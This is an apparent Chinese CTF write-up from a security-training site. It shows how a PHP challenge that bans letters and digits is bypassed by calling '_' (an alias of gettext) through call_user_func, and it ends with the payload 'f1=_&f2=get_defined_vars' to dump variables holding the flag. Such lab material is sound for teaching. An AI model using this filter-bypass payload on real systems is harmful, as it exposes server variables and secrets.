PHP特性:无字母数字构造函数

<?php
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

在开启该拓展后 _() 等效于 gettext()

 

<?php
echo gettext("phpinfo");
//结果  phpinfo

echo _("phpinfo");
//结果 phpinfo

所以call_user_func(‘_’,’phpinfo’)

返回的就是phpinfo

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:f1=_&f2=get_defined_vars

RIPRO主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
天云网络培训 » PHP特性:无字母数字构造函数

天云安全,多年安全积累,值得信赖

立即查看 了解详情